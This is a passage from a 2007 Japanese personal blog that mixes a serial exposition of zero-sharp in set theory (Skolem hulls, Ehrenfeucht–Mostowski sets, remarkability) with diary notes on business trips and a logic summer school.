要は $I$ の $\alpha_m$ より大きい要素を順番に $n$ 個ずつ集めるわけです。考えてみると (2.2) は必要ないです。(2.3) で極限順序数の仮定をとれば良い。そして $w_\xi~=~t^{L_\lambda}(\alpha_1,\cdots,\alpha_m,u_\xi)$ とする。ここで最後の $u_\xi$ の部分は $u_\xi$ の $n$ 個の要素を昇順に並べたものとする。(1.1) (1.3) により $\xi~<~\eta$ に対し $w_\xi,w_\eta$ は順序数であり (識別不可能性による)、 $w_\xi<w_\eta$ または $w_\xi>w_\eta$ が成り立つが、もし $w_\xi>w_\eta$ であれば再び識別不可能性により、任意の $\xi~<~\eta$ に対し $w_\xi>w_\eta$ が成立し順序数の無限降下列となる。従って $\xi~<~\eta~\rightarrow~w_\xi<w_\eta.$ ところが $J=\{w_\xi~\,:\,~\xi<\kappa\}$ とすると $J$ は $(L_\lambda,\in)$ での識別不可能集合となることが証明できる。さらに $i_\omega$ が $u_\omega$ の最初の要素であることと (1.2) により $w_\omega~<~i_\omega$ である。そしてこの補題の証明の最初の部分と同様に $H^{L_\lambda}(J)$ を考えると、その推移的崩壊は $\pi:\,H^{L_\lambda}(J)~\rightarrow~L_\lambda$ となり $\pi(J)$ は $I$ が満たすべき条件をすべて満足するが、これは $i_\omega$ の最小性に反する。
最後に $J$ が $(L_\lambda,\in)$ に関する識別不可能集合であることの証明であるが、論理式 $\varphi(v_1,\cdots,v_n)$ と $J$ の要素の増大列 $w_{\xi_1}<\cdots<w_{\xi_n}$ に対し充足関係
$L_\lambda~|=~\varphi(w_{\xi_1},\cdots,w_{\xi_n})$
は
$L_\lambda~|=~\varphi(t^{L_\lambda}(\alpha_1,\cdots,\alpha_m,u_{\xi_1}),~t^{L_\lambda}(\alpha_1,\cdots,\alpha_m,u_{\xi_2}),\cdots,~t^{L_\lambda}(\alpha_1,\cdots,\alpha_m,u_{\xi_n}))$
と表すことができ $J$ の要素に依存しない (証明終)。
下の記事で「基本的なところ全部」と書きましたがラムゼイ基数との関連で力つきました。Remarkability のご利益や「 0^# (zero-sharp) 一回目」の結果等 $L$ に関する超越性の美しい部分は次回ということで。
(参考文献) Thomas J. Jech 著 Set Theory
(関連リンク)
0^# (zero-sharp) 一回目
 0^# (zero-sharp) 二回目
 0^# (zero-sharp) 三回目
 0^# (zero-sharp) 五回目
 0^# (zero-sharp) 六回目 Kunenの定理 (準備編)
0^# (zero-sharp) 七回目 Kunenの定理 (証明編)
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2007年9月21(金)

案外良いかも
おとといはつくばに泊まりということで、なんとか記憶とその場で考え直した「証明」で $0^{\sharp}$ についての定義まで行きつきました。まだ一意性を示していないので、「定義」というにはやや問題があるのですが、いつまでたっても定義がないというのもちょっとということで。
ところで予想されたようにいくつか誤りがあります。
それから証明がごちゃごちゃしている部分もあります。とはいえ、ストーリーはどうしても教科書通りになってしまうとしても、一度時間をおいて記憶をたどるか自分で考え直したものを書いた方が自分のためになるし、教科書の表現とはかなり異なってくるので面白いという利点はあると思います。
誤りは後で直せば良いし、ごたごたした部分に関しては、エレガントな証明を読む前に「ごたごた」を経験した方が内容を良く理解できる場合が多いので、それほど悪いものではないような気がします。全部理解してから自分なりに再構成して記載するのが理想なのでしょうが、なんせにわとり以下の記憶力 (笑)。ある程度の段階で出力しないと忘れてしまいます。
というわけで次回の $0^{\sharp}$ に関する話題は基本的な部分を一気に書きます。実は定義まで行きつくと (自分としては結構大変だった)、ごくごく基本的な部分に関する証明はそんなに難しくないし、不思議なことにこの概念がそれなり自然なものに見えてくるのです。目標はラムゼイ基数の存在が $0^{\sharp}$ の存在を導くことと、 $L$ に対する超越性に関するいくつかの定理についての記載です。できれば初等的埋め込み $j:L~\rightarrow~L$ の存在と $0^{\sharp}$ の存在の同値性まで (これは分けて書きます)。Jensen's Covering Theorem についての証明は無理そう。恐らく結果だけ。
もちろんこんな簡単なことで $0^{\sharp}$ を理解したなんてことは言いませんが、色々お楽しみ中であることは事実なのです。
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2007年9月19(水)

0^# (zero-sharp) 三回目
集合論雑記目次
昨日の日記のコメント欄に書いたように本日はつくばに泊まりです。宿ではそれなり暇なので、本日は $0^{\sharp}$ の定義まで教科書なしフリーハンドで記述します。従っていくつか誤りがあるかも知れませんが、問題があれば後で修正致します。もちろん誤りに対するつっこみは大歓迎です。
$\Sigma$ を E.M.集合とします。
(定義) 任意の $(\Sigma,\alpha)$ モデル $\Sigma=\Sigma(\mathcal{A},~I)$ に対して $\mathcal{A}=(A,E)$ が整順であるとき E.M.集合 $\Sigma$ は整順であると言う。
(命題) 次の条件は同値
(1) $\Sigma$ は整順
(2) ある $\alpha~\ge~\omega_1$ に対して $(\Sigma,~\alpha)$ モデルが整順
(3) すべての $\omega~\le~\alpha~<~\omega_1$ に対し $(\Sigma,~\alpha)$ モデルが整順
(証明)
(1) から (2) が導かれるのは自明である。
(2) が成り立つと仮定する。 $\mathcal{A}=(A,E)$ を整順なモデルとし $(\mathcal{A},~I)$ が $\alpha$ モデルになるものする。このとき $\beta~<~\alpha$ に対し対応する $I$ の切片を $J$ とすると $((H^{\mathcal{A}}(J),~F),~J)$ が $\Sigma$ の整順な $(\Sigma,\beta)$ モデルとなる。ここで $F$ は $E$ の $H^{\mathcal{A}}(J)$ (の積) への制限である。
(3) が (1) を導くことを示すために (1) の否定を仮定する。 $\mathcal{A}=(A,E)$ を整順でないモデルで $(\mathcal{A},I)$ が $(\Sigma,\alpha)$ モデルとなっているものとする。仮定により $A$ の元の $E$ に関する無限減少列 $a_0~>~a_1~>~\cdots~>~a_n~>~\cdots$ が存在する。E.M.集合の定義により各 $n$ に対してスコーレム項 $t_n$ と $c_{n,1}~<~c_{n,2}~\cdots~<~c_{n,k_n}~\in~I$ が存在し $a_n=t_n^{\mathcal{A}}(c_{n,1},c_{n,2},~\cdots,~c_{n,k_n})$ と書ける。ここに現れる $c_{n,k}$ 全体を $J$ とすると $J$ は $E$ に関し可算な順序型をもち $((H^{\mathcal{A}}(J),~F),~J)$ は整順でないE.M.集合の可算モデルとなる。ここで $F$ は $E$ の $H^{\mathcal{A}}(J)$ (の積) への制限である (証明終)。

以下 $(\Sigma,\alpha)$ を考察する時 $\alpha>\omega$ とし、さらに極限順序数であるとします。
(定義) E.M.集合 $\Sigma$ が非有界であるとは任意の $(\Sigma,\alpha)$ モデル $(\mathcal{A},I)$ に対し $I$ が $E$ に関する順序数の集合として $\mathrm{Ord}^{\mathcal{A}}(A)$ で非有界であること。
(命題) 次の条件は同値
(1) $\Sigma$ は非有界
(2) ある極限順序数 $\alpha$ に対し $(\Sigma,\alpha)$ モデルは非有界
(3) 各スコーレム項 $t$ に対し $\Sigma$ は次の論理式を含む。
$t(v_1,\cdots,v_n)$ が順序数ならば $t(v_1,\cdots,v_n)~<~v_{n+1}$
(証明)
(1) から (2) は自明である。
(2) を仮定する。 $a_1<a_2<\cdots<a_n~\in~I$ に対し $\gamma=t^{\mathcal{A}}(a_1,a_2,\cdots,a_n)$ が順序数であると仮定する。このとき非有界性により $\gamma<a_{n+1},~a_n<a_{n+1}$ を満たす $a_{n+1}~\in~I$ が存在するが、E.M.集合の (識別不可能性に関する) 定義によりこれは (3) の論理式が $\Sigma$ に属することを意味する。 ~~(3) から (1) を得るには論理式 $\exists{v_2}(v_1~<~v_2)$ のスコーレム関数を考えれば良い。たぶん。~~ ←嘘です。 $I$ の要素をスコーレム項で表して (3) を適用するのが正解です。
(定義) $\Sigma$ をE.M.集合とする。 $\Sigma$ が非有界で任意のスコーレム項 $t$ に対し次の論理式を含む時 remarkable であると言う。
$t(v_1,\cdots,v_m,v_{m+1},\cdots,v_{m+n})$ が順序数で $t(v_1,\cdots,v_m,v_{m+1},\cdots,v_{m+n})<v_{m+1}$ ならば $t(v_1,\cdots,v_m,v_{m+1},\cdots,v_{m+n})=~t(v_{1},\cdots,v_m,v_{m+n+1},\cdots,v_{m+2n})$
これは最初ほんと意味が分からなかったです。ただし下記命題の意味を吟味すると妥当な仮定であるような気がしてくるので不思議なものです。
(命題) $\mathcal{A}=(A,E)$ をモデルとし $(\mathcal{A},I)$ を非有界 E.M.集合の $\Sigma$ の $\alpha$ モデルとする。 $I$ の要素の数え上げを $(i_\xi)_{\xi<\alpha}$ と書くことにする。このとき次の条件は同値。
(1) $\Sigma$ は remarkable
(2) $(A,E)$ での順序数 $\beta$ が $\beta<i_\omega$ を満たすとき $\beta~\in~H^{\mathcal{A}}(\{i_n:n<\omega\})$
(3) $\gamma$ を極限順序数とする。 $(A,E)$ での順序数 $\beta$ が $\beta<i_\gamma$ を満たすとき $\beta~\in~H^{\mathcal{A}}(\{i_\xi:\xi<\gamma\})$
(証明)
まず (2) が (1) を導くことを示す。 $a_1<a_2<\cdots<a_m<b_1<b_2<\cdots<b_n<c_1<c_2<\cdots<c_n$ を $I$ の元の上昇列とする。ここで記述不可能性により $b_1=i_\omega$ としても一般性を失わない。ここで (1) 即ち remarkable の前提条件を仮定する。即ち $t^{\mathcal{A}}(a_1,\cdots,a_m,b_1,\cdots,b_n)$ が順序数であり $t^{\mathcal{A}}(a_1,\cdots,a_m,b_1,\cdots,b_n)<i_\omega.$ すると $a_1,\cdots,a_m~<~i_\omega$ なので $I$ の元の上昇列 $u_1,\cdots,u_r$ で $u_i~<~i_\omega~\quad~(1~\le~i~\le~r)$ かつ $a_m<u_i~\quad~\quad~(1~\le~i~\le~r)$ を満たすものと、スコーレム項 $s$ が存在し
$\mathcal{A}|=t^{\mathcal{A}}(a_1,\cdots,a_m,b_1,\cdots,b_n)=~s^{\mathcal{A}}(u_1,\cdots,u_r)$
を満たす。すると識別不可能性により
$\mathcal{A}|=t^{\mathcal{A}}(a_1,\cdots,a_m,c_1,\cdots,c_n)=~s^{\mathcal{A}}(u_1,\cdots,u_r)$
も成立し、従って
$\mathcal{A}|=t^{\mathcal{A}}(a_1,\cdots,a_m,b_1,\cdots,b_n)=~t^{\mathcal{A}}(a_1,\cdots,a_m,c_1,\cdots,c_n)$
こんどは (1) を仮定して $\beta<i_\omega$ とする。このときスコーレム項 $t$ と $I$ の元の上昇列 $i_{\xi_1}<\cdots<i_{\xi_m}$ により $\beta~=~t^{\mathcal{A}}(i_{\xi_1},\cdots,i_{\xi_m})$ と表すことができる。もしすべての $i_{\xi_j}~\quad~(1~\le~j~\le~m)$ が $i_\omega$ 未満ならば証明完了である。そうでない場合 $r$ を $\beta~<~i_{\xi_r}$ となる最小の添字とする。Remarkablity (非有界性も内包する) により $i_{\xi_j}~(j~\ge~r)$ は十分に大きいと仮定して良い。さらに仮定により $i_{\xi_{r-1}}~\le~\beta~<~i_\omega$ なので十分大きな自然数 $\xi_{r-1}~<~n$ をとれば $\beta~=~t^{\mathcal{A}}(i_{\xi_1},\cdots,i_{\xi_{r-1}},~i_{n},~i_{n+1},~\cdots)$ が成り立つ。(1) (3) の同値性の証明も同様である (証明終)。
スコーレム項と $I$ の要素の増大列で順序数を定義するとき、その順序数より大きな $I$ の要素は「どうでもよい」という感じでしょうか。一般の順序数を識別不可能集合の下の方から定義するという感じ。たぶん。
やっと $0^{\sharp}$ を定義する準備ができました。
(定義) 整順で remarkable (非有界性を内包する) である E.M.集合 $\Sigma$ を $0^{\sharp}$ と呼ぶ。
最大の疑問は「こんな複雑な (わけのわからん) 定義の実体が存在するのか？」ということですが、次回以降記載するようにラムゼイ基数という、一見弱コンパクト基数をちょっと拡張したような基数 (実際可測基数よりは小さい) の存在を仮定すると $0^{\sharp}$ の存在を証明することができます。ただし $L$ に対する影響力は、弱コンパクト基数と $0^{\sharp}$ では大違いです。
(参考文献) Thomas J. Jech 著 Set Theory
(関連リンク)
0^# (zero-sharp) 一回目
 0^# (zero-sharp) 二回目
 0^# (zero-sharp) 四回目
 0^# (zero-sharp) 五回目
 0^# (zero-sharp) 六回目 Kunenの定理 (準備編)
0^# (zero-sharp) 七回目 Kunenの定理 (証明編)
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2007年9月18(火)

つくば出張
今日もつくば出張です。日帰りの予定。予定。
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2007年9月17(月)

0^# (zero-sharp) 二回目
集合論雑記目次
今日は $0^{\sharp}$ についての二回目ですが、はやしさんのところでレーヴェンハイム＝スコーレムの定理に関しての話題に言及されていることもあるので、まずスコーレムの定理に関する復習です。
(定理レーヴェンハイム＝スコーレム)
$\mathcal{A}=(A,~\cdots)$ を可算言語 $\mathcal{L}$ の理論 $T$ のモデルで $|A|~\ge~\aleph_0$ でを満たすものとして、 $X~\subset~A$ を無限集合とする。このとき集合 $X~\subset~B~\subset~A$ で $|X|=|B|,\,~\mathcal{B}=(B,\cdots)~\prec~\mathcal{A}$ を満たすものが存在する。特に理論 $T$ 任意のモデルに対し初等的同値な可算部分モデルが存在する。
(証明) まずモデル $\mathcal{A}$ の部分モデル $\mathcal{B}$ に対して $\mathcal{B}~\prec~\mathcal{A}$ であるためには、タルスキーの判定条件により
$\mathcal{L}$ に属する任意の論理式 $\varphi(x_0,\cdots,x_n)$ と $a_1,\cdots,a_n~\in~A$ に対し $\mathcal{A}~|=~\exists{a}(\varphi(a,~a_1,\cdots,a_n))$ ならば $\mathcal{A}~|=~\exists{b\in{B}}(\varphi(b,~a_1,\cdots,a_n))$
が成立すれば良いことに留意します。ここで $\varphi(x_0,\cdots,x_n)~\in~\mathcal{L}$ に対し ( $\mathcal{A}$ での) スコーレム関数 $h^{\mathcal{A}}_\varphi~:~A^n~\rightarrow~A$ を次のように定義します。
$a_1,\cdots,a_n~\in~A$ に対し $\mathcal{A}|=\exists{a}(\varphi(a,a_1,\cdots,a_n))$ が成立する時 $h^{\mathcal{A}}_\varphi(a_1,\cdots,a_n)$ の値は $\varphi(a,a_1,\cdots,a_n)$ を満たす $a\in{A}$ を任意に選択したもの。そうでない場合 $0.$
明らかに $\mathcal{A}|=\exists{a}(\varphi(a,a_1,\cdots,a_n))$ が成り立つとき $\mathcal{A}|=\varphi(h^{\mathcal{A}}_\varphi(a_1,\cdots,a_n),a_1,\cdots,a_n)$ が成り立ちます。スコーレム関数の「構成」には選択公理が必要ですが、 $A$ 上に定義可能な整列順序が定義されている場合 (例えば $A~=~L_\alpha$ の場合) 論理式を満たす最小元をとることにより $h^{\mathcal{A}}_\varphi$ も定義可能にすることができます。
(定義スコーレム閉包 Skolem hull)
$X\subset{A}$ とする。 $X\subset~Y~\subset~A$ で任意の論理式 $\varphi(x_0,\cdots,x_n)$ と $y_1,\cdots,y_n~\in~Y$ に対する $h^{\mathcal{A}}_\varphi(y_1,\cdots,y_n)$ に関して閉じている ( $h^{\mathcal{A}}_\varphi(y_1,\cdots,y_n)~\in~Y$ ) 最小の集合 $Y$ を $X$ のスコーレム閉包 (Skolem hull) と呼び $H^{A}(X)$ と書く。
スコーレム閉包は $X_0=X$ から始め、 $X_0$ の要素に対するスコーレム関数の値全体をつけ加えたもの全体の集合を $X_1.$ $X_1$ の要素に対するスコーレム関数の値全体をつけ加えたのも全体を $X_2$ と以下帰納的に定義すれば $\bigcup_{n~\in~\omega}~X_n$ により得られます。もとの言語が可算言語であったことを考慮すると $|H^{A}(X)|~=~|X|$ であることも明らかです。そしてタルスキーの判定条件により $(H^{A}(X),\cdots)~\prec~\mathcal{A}$ が成り立ちます (証明終)。
本定理の哲学的な考察について、私が公の場で余計なことをしゃべらないのは正しい態度だと思います (^^。
$0^{\sharp}$ に戻ります。スコーレム関数は後で大活躍します。
(定義)
$\mathcal{A}=(A,~E)$ を無限順序数 $\alpha$ に対する $(L_\alpha,\in)$ と初等的同値なモデルとして、 $I~\subset~A$ を $\mathcal{A}$ の ( $E$ に関する) 順序数からなる識別不可能な無限集合であるとする。このとき $\Sigma(\mathcal{A},~I)$ を次のように定義する。
$\Sigma(\mathcal{A},~I)~=~\{~\varphi\in\mathcal{L}\,:\,~~A|=~\exists{a_1,\cdots,a_n~\in~I}(a_1<\cdots~<a_n~\wedge~~\varphi(a_1,\cdots,a_n))~\}$
なお定義中の不等号は $E$ での所属関係を表すものとします。識別不可能集合上での「真」を表す集合と考えられると思います。たぶん。
(定義) E.M.集合 (Ehrenfeucht-Mostowski)
極限順序数 $\lambda$ に対する $(L_\lambda,\in)$ と初等的同値なモデル $\mathcal{A}=(A,E)$ に対する $\Sigma(\mathcal{A},~I)$ の形の集合 $\Sigma$ を E.M.集合と呼ぶ。
次の事実が成立します。
$\Sigma$ を E.M.集合とし $\alpha$ を無限順序数とする。このとき次の条件を満たすモデル $\mathcal{A}=(A,E)$ と順序数からなる識別不可能集合 $I\subset{A}$ が存在する。 $\mathcal{A}=(A,E)$ は同型を除いて一意に定まる。
(1) $(A,E)$ は極限順序数 $\lambda$ に対する $(L_\lambda,~\in)$ と初等的同値で $I$ は「順序数」からなる識別不可能な無限集合
(2) $\Sigma~=~\Sigma(\mathcal{A},I)$
(3) $\mathrm{otp}(I)~=~\alpha$
(4) $A~=~H^{\mathcal{A}}(I)$
ここで otp は順序型を表すとします。 E.M.集合 $\Sigma$ に対し一意に定まるモデルと識別不可能集合の対 $(\mathcal{A},~I)$ を $(\Sigma,~\alpha)$ モデルと呼びます。証明の概略ですが、まず一意性に関しては $\Sigma~=~\Sigma(\mathcal{A},I)~=~\Sigma(\mathcal{B},~I)$ として $\pi:I~\rightarrow~J$ を順序同型とします。(4) により任意の $A$ の要素は $a_1,\cdots,a_n~\in~I,\,a_1<\cdots~<~a_n$ に対する $t^{\mathcal{A}}(a_1,\cdots,a_n)$ の形に表現することが可能です。ただし $t^{\mathcal{A}}(a_1,\cdots,a_n)$ はスコーレム関数の合成により得られる項、即ちスコーレム項とします。この事実を用い $\pi$ を拡張します。即ち
$\pi(t^{\mathcal{A}}(a_1,\cdots,a_n))~=~t^{\mathcal{B}}(\pi(a_1),\cdots,\pi(a_n))$
と「定義」します。この「定義」が well defined で所属関係を保存するかどうかですが、上昇列 $a_1,\cdots,a_n\in{A},\,~c_1,\cdots,c_m\in{A}$ としスコーレム項 $t,s$ に対し
$t^{\mathcal{A}}(a_1,\cdots,a_n)=s^{\mathcal{A}}(c_1,\cdots,c_m)~\quad~(a)$
が成立していると仮定します。 $I$ は無限集合なので (識別不可能性を考量すると) $a_1,\cdots,a_n,c_1,\cdots,c_m$ はすべて異なると仮定して一般性を失いません。 $d_1,\cdots,d_{n+m}$ を $a_1,\cdots,a_n\in{A},\,~c_1,\cdots,c_m\in{A}$ を昇順に並べた列とし $\varphi(x_1,\cdots,x_{n+m})$ を $d_1,\cdots,d_{m+n}$ を代入したときに (a) が成り立つことを主張する論理式とします。すると E.M.集合の定義により $\varphi(x_1,\cdots,x_{n+m})~\in~\Sigma$ が成立し、従って $\mathcal{B}$ で $t^{\mathcal{B}}(\pi(a_1),\cdots,\pi(a_n))=~s^{\mathcal{B}}(\pi(c_1),\cdots,\pi(c_m))$ が成立します。所属関係を保つことに関しても同様です。
次に存在についての証明の概略。まず $\Sigma~=~\Sigma(\mathcal{A},~I)$ を満たす $\mathcal{A},~I$ を固定し $\alpha$ を無限順序数とします。集合論の言語に $\alpha$ 個の定数記号 $c_{\xi}~\quad~(\xi<\alpha)$ を追加した言語を考え、その上の理論 $T$ として
(1) $c_\xi$ は順序数
(2) $c_{\xi}~<~c_{\eta}~\quad~(\xi~<~\eta)$
(3) $\varphi(x_1,\cdots,x_n)~\in~\Sigma$ と上昇列 $c_{{\xi}_1},\cdots,c_{{\xi}_n}$ に対する $\varphi(c_{{\xi}_1},\cdots,c_{{\xi}_n})$ 全体
を考えます。 $T$ はモデルをもちます。実際 $T$ の有限部分を $T_0$ とすると、 $T_0$ に現れる閉論理式全体の合接は $\sigma(c_{\xi_1},\cdots,c_{\xi_m})$ の形で表現することが可能です。すると $I$ が無限集合であることにより、増大列 $i_1,\cdots,i_m~\in~I$ が存在し $\mathcal{A}~|=~\sigma(i_1,\cdots,i_m).$ 言い換えると $c_{\xi_j}$ の解釈を $i_j$ とすることにより $(A,~E,~i_1,\cdots,i_m)$ は $T_0$ のモデルとなります。従ってコンパクト定理により $T$ はモデル $\mathcal{B}=(B,N,(c_\xi)_{\xi<\alpha})$ を持ちます。以下容易に分かるように $I=\{c_\xi:\xi<\alpha\}$ とし $C=H^{\mathcal{B}}(I)$ とすれば $\Sigma((C,N),~I)$ が求めるものとなります (証明終)。
E.M.集合に対しさらにいくつかの条件 (well founded, unbounded, remarkable) を満たすものの存在を仮定すると、正式に $0^{\sharp}$ を定義することが可能となります。その辺りは次回以降に続きます。
(参考文献) Thomas J. Jech 著 Set Theory 。丸写しです。ご勘弁の程を。
(関連リンク)
0^# (zero-sharp) 一回目
 0^# (zero-sharp) 三回目
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2007年9月15(土)

はまり
昨日からおおはまりでまだつくばにいます。ソフトではなく、出荷時のテスト環境作りが大変で。今日一日色々実験してなんとか目処がたちました。
それはそうと、つくばでのホテル滞在がこの一年で 10回になりまして、なんと現金5000円のキャッシュバックだそうな。これはおいしいです。もちろん会社にはわかりません。あれです。会社の偉い人に頼まれてちょっと高いのを買いに行く時、激安ポイントなしのお店では買わず、少々高くともポイントがつくお店に行くのと同じです。もしかして、そんな極悪なことをするのは私だけ？いやいやそんなことはないでしょう (笑)。
申しわけありませんが昨日のコメントへの反応は後で (^^。
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2007年9月14(金)

三平方の定理
最近「三平方の定理」をギリシア時代の数学者の名前で表現した検索が異様に多いのです。なにかテレビかなんかで紹介があったのでしょうか。知っている方がおられましたら教えて頂けるとうれしいです。
とはいうものの、なんせ内容がこんなのですから、いやはやなんと言いますかこれも一種の検索はずれと言うべきでしょう。
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2007年9月13(木)

つくばより
出張中です。準備万端出荷用のマスターを作り、昨日こちらに到着しました。ところが到着直後にお客さまよりメールがあり、一つバグを発見されたとのこと。
あわわわっ、マスターの作り直しですか (汗)。というわけで今日は半日ホテルに缶詰でプログラムの修正しました。なんとか直ったような。いや、別に難しいことではないのですが、
自明だと思ってテストをしない (笑)
癖をなんとかしないと。前にも書きましたが、作っているのは Linux 組込み用のものなのですが、開発機は黒マックです。緊急事態なので Parallels Desktop 上の FreeBSD の Linux シミュレーターで作りました。普通は「本当の」Linux でコンパイルするのですが、いやはや出荷ヴァージョンが Mac 上開発物件とは、お客さまには口が裂けても言えないのです (^^。
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2007年9月11(火)

出張から帰る
つくばから帰ってきました。ですが明日からまた二泊三日で出張です。うーむ、さすがに丸々一週間空けると結構仕事がたまってるもので。そもそも先週と今週はほとんどおうちにいないではないか。いずれにしても今回の出張を乗り切れば本当の一段落のはずです。
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2007年9月10(月)

つくば出張
会社に戻ったらさっそくお呼びが。なので一泊二日でつくばに出張です。
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2007年9月9(日)

連休最終日
今日は九連休最終日です。いつもですと家でごろごろ過ごして終わってしまうのですが、今回はなかなか充実したお休みを過ごせたと思います。そうはいってもサマースクールの間は面白くて楽しくて、全く疲れを感じなかったのですが、藤沢に戻ってきたらどっと疲れが (笑)。さらに会社にきたメールを読むと、今のところバグとかは特にないようなのですが、仕様追加のご要望が (汗)。
うれしいことに今週末と来週末は連続三連休のようですので、明日からぼちぼちということで (^^。
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2007年9月8(土)

数学基礎論サマースクール2007 四日目 (昨日ソロヴェイの定理)
楽しかったサマースクールも昨日が最終日でした。昨日の講義は加茂先生の「集合論のブール値模型」四回目、藤田先生の「ルベーグ可測性にかんするソロヴェイのモデル」の四回目でした。
藤田先生での講義ではソロヴェイの定理の一部分の証明がメインでした。即ち
「ZFC+到達不可能基数の存在」が無矛盾であれば次の条件を満たす ZFC のモデルが存在する
(*) 実数の集合で順序数の可算列のみで定義可能なものはすべて可測
一昨日のランダム実数の性質に加え、レヴィの崩壊、その他各種のテクニックが駆使され、私自身完全に追いかけ切れていない面が多々あるのですが、証明の方向性についてはおおむね理解できたと思っています。もちろん証明の細部についても当然理解しなければならないので、現在ノートと藤田先生の講義予稿を読みながら復習中です。少々時間がかかるかも知れません。
それにしてもコーエンの成果 (強制法) のわずか一年後にこれだけの構想とテクニックを使い、実数の可測集合、ベールの性質を持つ集合、完全集合に関する驚くべき結果を出したソロヴェイの洞察力の深さには驚くばかりです。
サマースクールの参加は素人ということで、色々ご迷惑をおかけしたと思うのですが、私自身はとても楽しく充実した四日間を過ごすことができました。
また、今回の参加に関して渕野先生、藤田先生、それから主催された先生方には大変お世話になりました。どうもありがとうございます。
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2007年9月7(金)

数学基礎論サマースクール2007 三日目 (昨日ランダム実数)
朝台風の影響でとしゃぶりの雨でした。やっとの思いでバス停まで行ったのですが、なかなかバスが来ません。でも大丈夫。一時間目の講義を担当して下さる先生も同じバスを待っていました。
昨日のお題目は加茂先生の「集合論のブール値模型」三回目、渕野先生の「強制法入門」三回目、藤田先生の「ルベーグ可測性にかんするソロヴェイのモデル」の三回目でした。
ブール値モデルと強制法に関しては、やはり専門家の方の講義は見識が高く、本だけでは得られない面白い事実や考え方を学べたと思います。
昨日の講義で一番興味があったのは藤田先生の「ランダム実数」についてのお話です。モデル $M$ 上で測度が零でないボレル集合全体がつくる半順序集合 (順序は包含関係そのままとする。コーエン半順序とは逆) についての強制を考えるのです。すると比較的容易に分かるようにジェネリック $G$ の共通部分は一点からなり、それを $r$ とすると $~M[r]=M[G]$ が成立し、 $r$ を $M$ 上のランダム実数と言うのです。
これだけでは何のことか分かりにくいのですが、実際にはボレルコードを導入し、それに対応するボレル集合のいくつかの関係の絶対性を利用して議論を行うのです。そして、ボレルコードに対応する $M$ でのボレル集合と、元のモデルでの同じコードのボレル集合に関して、特に包含関係、共通部分が空であること、零集合であること等のコードを通した絶対性が成り立ち、強制を使わないランダム実数の特徴づけも可能となります。
$r$ がランダム実数である条件は次の通り。
$r~\not\in~\bigcup~\{~B_f\,:\,~f\in{\mathrm{BC}~\cap~M}~\wedge~~B_f\in{\mathcal{N}}\}$

ここで $\mathrm{BC}$ はボレルコード全体の集合で、 $B_f$ は対応する元のモデルでのボレル集合です。 $\mathcal{N}$ は零集合全体でありボレルコードに対し絶対的です。要するに $M$ でのボレルコードに対応するボレル零集合 (これは $M$ からはみ出す可能性あり) いずれの要素にもなっていないということです。特に $M$ が可算モデル、もっと弱い条件で $(2^{\aleph_0})^M$ が (外から見て) 可算の場合、ほとんどすべての実数はランダム実数になります。あっ、すごくおおざっぱで分かりにくい記述で申しわけありません。でもほんとわくわくしてくるでしょ(^^。ランダム実数については落ち着いた段階できちんと書きたいと思います。
(*) 上記記述に誤りがあればすべて私の責任です。もちろん分かりにくさもです。
その後上記の概念 (その他にも色々あり) を利用しソロヴェイの定理の証明に進むのですが、この辺りからちょっとついてゆくのが苦しくなってきました。現在復習中 (笑)。
講義終了後懇親会。若くて優秀な方や先生方と色々お話ができとても楽しめました。
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2007年9月6(木)

数学基礎論サマースクール2007 二日目 (昨日)
寝坊しました (笑)。9時半始まりなのですが、目が覚めたら 8時40分。静岡大学までバスで30分弱です。大急ぎで準備してバス停へ。なかなか来ない場合タクシーに乗る必要もあるかな、と思っていたら、Fu さんがバス停のところにいるではないか。やれやれ、これはもうすぐバスが来るのであろうと一安心です。
そもそも近眼で老眼なので、ノートをとるときと黒板を見る時、別の眼鏡をかけるかけないとよく見えない場合もあるのですが、なるべくそれを避けるため、厚かましくも一番前の席を独占しているのです。なので、遅刻したらほんとかっこわるいですし、なにより貴重な機会ですから、全部聞かないともったいないです。
今日の講義は加茂先生の「集合論のブール値模型」一回目、渕野先生の「強制法入門」二回目、藤田先生の「ルベーグ可測性にかんするソロヴェイのモデル」二回目でした。ブール値モデルと強制法に関しては一度勉強したことがあるので、まだついてゆけるのですが、藤田先生の講義での「ボレルコード」が最初 (というか宿で復習するまで) 直感的につかめず、なんかすごくまぬけな質問をしたかも知れません。といいますか、こういう場合厚かましい方が得なので、もしかしたら質問の数は一番多いかも。で、先生のお話によると、
鏡さんが理解できていれば大丈夫という指標になる (笑)
ということなので、まぬけな質問もご容赦の程をということで。
「ボレルコード」は一度「巨大基数の集合論」で目を通した時、なんのことかちんぷんかんぷんだったのですが、講義を聴いた後宿に帰り真面目に考えたところなんとか。ただし、それに付随する絶対性について、~~「Shoenfield の絶対性定理」が必要になる場合があるそうで、~~その辺りは帰ってから真面目に調べようと思います。明日 (今日) 以降この話がランダム実数につながるそうですのでとても楽しみです。
というわけで今日は寝坊しないように (^^。
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2007年9月5(水)

昨日のこと
静岡駅到着が 11時15分頃。藤沢を出る頃は曇っていて、それほど温度も高くなかったのですが、静岡は晴天で暑いのなんのって (^^。会場に着く前に少々ばててしまいました。あと Fu さんがいたので、こちらもご挨拶。お会いできたのがうれしくって、少々余計なことをしゃべり過ぎたかも知れません。ごめんなさい。
講義は渕野先生の「強制法入門」と藤田先生の「ルベーグ可測性にかんするソロヴェイのモデル」の一回目。昨日は初日ということで一時間ずつでした。最初ということもありなんとかついて行くことが出来ました。
講義終了後先生方の夕食 (というか飲み会) に同席させて頂き、集合論の色々な話を聞くことができ、こちらも本当に楽しかったです。集合論の先生方はみな素晴らしい方で、私のような素人の質問についても、とても真面目に答えて頂きほんと感激です。今回の経験により即座に集合論が分かるようになるとはもちろん考えていませんが、なんというか、一人で本を読むのとは全然違う貴重な体験だと思います。
明日からがますます楽しみです。
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2007年9月4(火)

今日から静岡
三泊四日で「数学基礎論サマースクール2007」に行ってきます。
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2007年9月3(月)

0^# (zero-sharp) 一回目
集合論雑記目次
久々の集合論雑記なのですが、数回に分けて $0^{\sharp}$ の話題について記載したいと思います。 $0^{\sharp}$ 自体それほど分かりやすい概念ではないと思うのですが、構成可能性に対するある種の超越的概念であり、計算可能性に対するテューリング次数のごとく、「構成可能性」に対するオラクルのようなものらしいです。たぶん。さらに sharp の階層を考えること自体、テューリング次数との類推が強いようです。
まず準備として、モデルでの「識別不可能集合 (indiscernible set)」の概念を導入します。
(定義) 識別不可能集合
